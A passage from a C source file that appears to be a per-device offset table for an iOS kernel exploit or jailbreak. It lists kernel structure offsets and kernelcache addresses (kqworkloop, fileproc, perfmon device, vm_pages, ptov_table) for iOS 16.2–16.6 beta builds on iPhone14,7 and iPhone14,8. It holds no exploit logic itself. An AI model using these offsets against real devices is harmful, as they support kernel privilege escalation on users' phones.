0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x648,\n        .thread__task_threads__next = 0x380 - 0x18,\n        .thread__task_threads__prev = 0x380 - 0x18 + 0x8,\n        .thread__map = 0x380,\n        .thread__thread_id = 0x420,\n        .thread__object_size = 0x4c8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a365190,\n        .kernelcache__gPhysBase = 0xfffffff0078541b0,\n        .kernelcache__gPhysSize = 0xfffffff0078541b0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007852390,\n        .kernelcache__perfmon_devices = 0xfffffff00a3a03b0,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ed105c,\n        .kernelcache__ptov_table = 0xfffffff0078073b0,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a39f800,\n        .kernelcache__vm_pages = 0xfffffff0078040d8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff007806370,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a39f7f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007f21074,\n    },\n  // iOS 16.4 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:43:00 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8110\",\n        .build_version = \"20E247\",\n        .device_id = \"iPhone14,7\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x640,\n        .thread__task_threads__next = 0x380 - 0x18,\n        .thread__task_threads__prev = 0x380 - 0x18 + 0x8,\n        .thread__map = 0x380,\n        .thread__thread_id = 0x418,\n        .thread__object_size = 0x4c0,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a441208,\n        .kernelcache__gPhysBase = 0xfffffff007933fc0,\n        .kernelcache__gPhysSize = 0xfffffff007933fc0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007932198,\n        .kernelcache__perfmon_devices = 0xfffffff00a47f520,\n        .kernelcache__perfmon_dev_open = 0xfffffff007eed210,\n        .kernelcache__ptov_table = 0xfffffff0078e7180,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a47e990,\n        .kernelcache__vm_pages = 0xfffffff0078e3ec0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078e6130,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a47e988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f39ae0,\n    },\n  // iOS 16.4.1 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:43:00 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8110\",\n        .build_version = \"20E252\",\n        .device_id = \"iPhone14,7\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x640,\n        .thread__task_threads__next = 0x380 - 0x18,\n        .thread__task_threads__prev = 0x380 - 0x18 + 0x8,\n        .thread__map = 0x380,\n        .thread__thread_id = 0x418,\n        .thread__object_size = 0x4c0,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a441208,\n        .kernelcache__gPhysBase = 0xfffffff007933fc0,\n        .kernelcache__gPhysSize = 0xfffffff007933fc0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007932198,\n        .kernelcache__perfmon_devices = 0xfffffff00a47f520,\n        .kernelcache__perfmon_dev_open = 0xfffffff007eed210,\n        .kernelcache__ptov_table = 0xfffffff0078e7180,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a47e990,\n        .kernelcache__vm_pages = 0xfffffff0078e3ec0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078e6130,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a47e988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f39ae0,\n    },\n  // iOS 16.5 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.5.0: Mon Apr 24 21:09:37 PDT 2023; root:xnu-8796.122.4~1/RELEASE_ARM64_T8110\",\n        .build_version = \"20F66\",\n        .device_id = \"iPhone14,7\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x640,\n        .thread__task_threads__next = 0x380 - 0x18,\n        .thread__task_threads__prev = 0x380 - 0x18 + 0x8,\n        .thread__map = 0x380,\n        .thread__thread_id = 0x418,\n        .thread__object_size = 0x4c0,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a44d208,\n        .kernelcache__gPhysBase = 0xfffffff007938100,\n        .kernelcache__gPhysSize = 0xfffffff007938100 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff0079362d8,\n        .kernelcache__perfmon_devices = 0xfffffff00a48b520,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ef1480,\n        .kernelcache__ptov_table = 0xfffffff0078eb180,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a48a990,\n        .kernelcache__vm_pages = 0xfffffff0078e7ec0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078ea130,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a48a988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f3dfe8,\n    },\n\n    // iOS 16.6 beta 1 //\n        {\n        .kern_version = \"Darwin Kernel Version 22.6.0: Tue May  9 06:16:18 PDT 2023; root:xnu-8796.140.12.502.1~12/RELEASE_ARM64_T8110\",\n        .build_version = \"20G5026e\",\n        .device_id = \"iPhone14,7\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x640,\n        .thread__task_threads__next = 0x380 - 0x18,\n        .thread__task_threads__prev = 0x380 - 0x18 + 0x8,\n        .thread__map = 0x380,\n        .thread__thread_id = 0x418,\n        .thread__object_size = 0x4c0,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a4fda30,\n        .kernelcache__gPhysBase = 0xfffffff00794c2a8,\n        .kernelcache__gPhysSize = 0xfffffff00794c2a8 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00794a460,\n        .kernelcache__perfmon_devices = 0xfffffff00a53d550,\n        .kernelcache__perfmon_dev_open = 0xfffffff007f15b9c,\n        .kernelcache__ptov_table = 0xfffffff0078ff9c0,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a53c910,\n        .kernelcache__vm_pages = 0xfffffff0078fc110,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078fe970,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a53c908,\n        .kernelcache__vn_kqfilter = 0xfffffff007f620b8,\n    },\n\n // End iPhone 14 //\n // Start iPhone 14 Plus //\n  // iOS 16.2 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.2.0: Mon Nov 28 20:10:56 PST 2022; root:xnu-8792.62.2~1/RELEASE_ARM64_T8110\",\n        .build_version = \"20C65\",\n        .device_id = \"iPhone14,8\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x648,\n        .thread__task_threads__next = 0x380 - 0x18,\n        .thread__task_threads__prev = 0x380 - 0x18 + 0x8,\n        .thread__map = 0x380,\n        .thread__thread_id = 0x420,\n        .thread__object_size = 0x4c8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a359190,\n        .kernelcache__gPhysBase = 0xfffffff0078540c8,\n        .kernelcache__gPhysSize = 0xfffffff0078540c8 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff0078522a8,\n        .kernelcache__perfmon_devices = 0xfffffff00a3943b0,\n        .kernelcache__perfmon_dev_open = 0xfffffff007eccfa8,\n        .kernelcache__ptov_table = 0xfffffff007807370,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a393800,\n        .kernelcache__vm_pages = 0xfffffff007804098,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff007806330,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3937f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007f1cfd0,\n    },\n  // iOS 16.3 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:25:19 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8110\",\n        .build_version = \"20D47\",\n        .device_id = \"iPhone14,8\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x648,\n        .thread__task_threads__next = 0x380 - 0x18,\n        .thread__task_threads__prev = 0x380 - 0x18 + 0x8,\n        .thread__map = 0x380,\n        .thread__thread_id = 0x420,\n        .thread__object_size = 0x4c8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a365190,\n        .kernelcache__gPhysBase = 0xfffffff0078541b0,\n        .kernelcache__gPhysSize = 0xfffffff0078541b0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007852390,\n        .kernelcache__perfmon_devices = 0xfffffff00a3a03b0,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ed105c,\n        .kernelcache__ptov_table = 0xfffffff0078073b0,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a39f800,\n        .kernelcache__vm_pages = 0xfffffff0078040d8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff007806370,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a39f7f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007f21074,\n    },\n  // iOS 16.3.1 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:25:19 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8110\",\n        .build_version = \"20D67\",\n        .device_id = \"iPhone14,8\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x648,\n        .thread__task_threads__next = 0x380 - 0x18,\n        .thread__task_threads__prev = 0x380 - 0x18 + 0x8,\n        .thread__map = 0x380,\n        .thread__thread_id = 0x420,\n        .thread__object_size = 0x4c8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a365190,\n        .kernelcache__gPhysBase = 0xfffffff0078541b0,\n        .kernelcache__gPhysSize = 0xfffffff0078541b0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007852390,\n        .kernelcache__perfmon_devices = 0xfffffff00a3a03b0,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ed105c,\n        .kernelcache__ptov_table = 0xfffffff0078073b0,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a39f800,\n        .kernelcache__vm_pages = 0xfffffff0078040d8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff007806370,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a39f7f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007f21074,\n    },\n  // iOS 16.4 //\n    {\n         .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:43:00 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8110\",\n         .build_version = \"20E247\",\n         .device_id = \"iPhone14,8\",\n         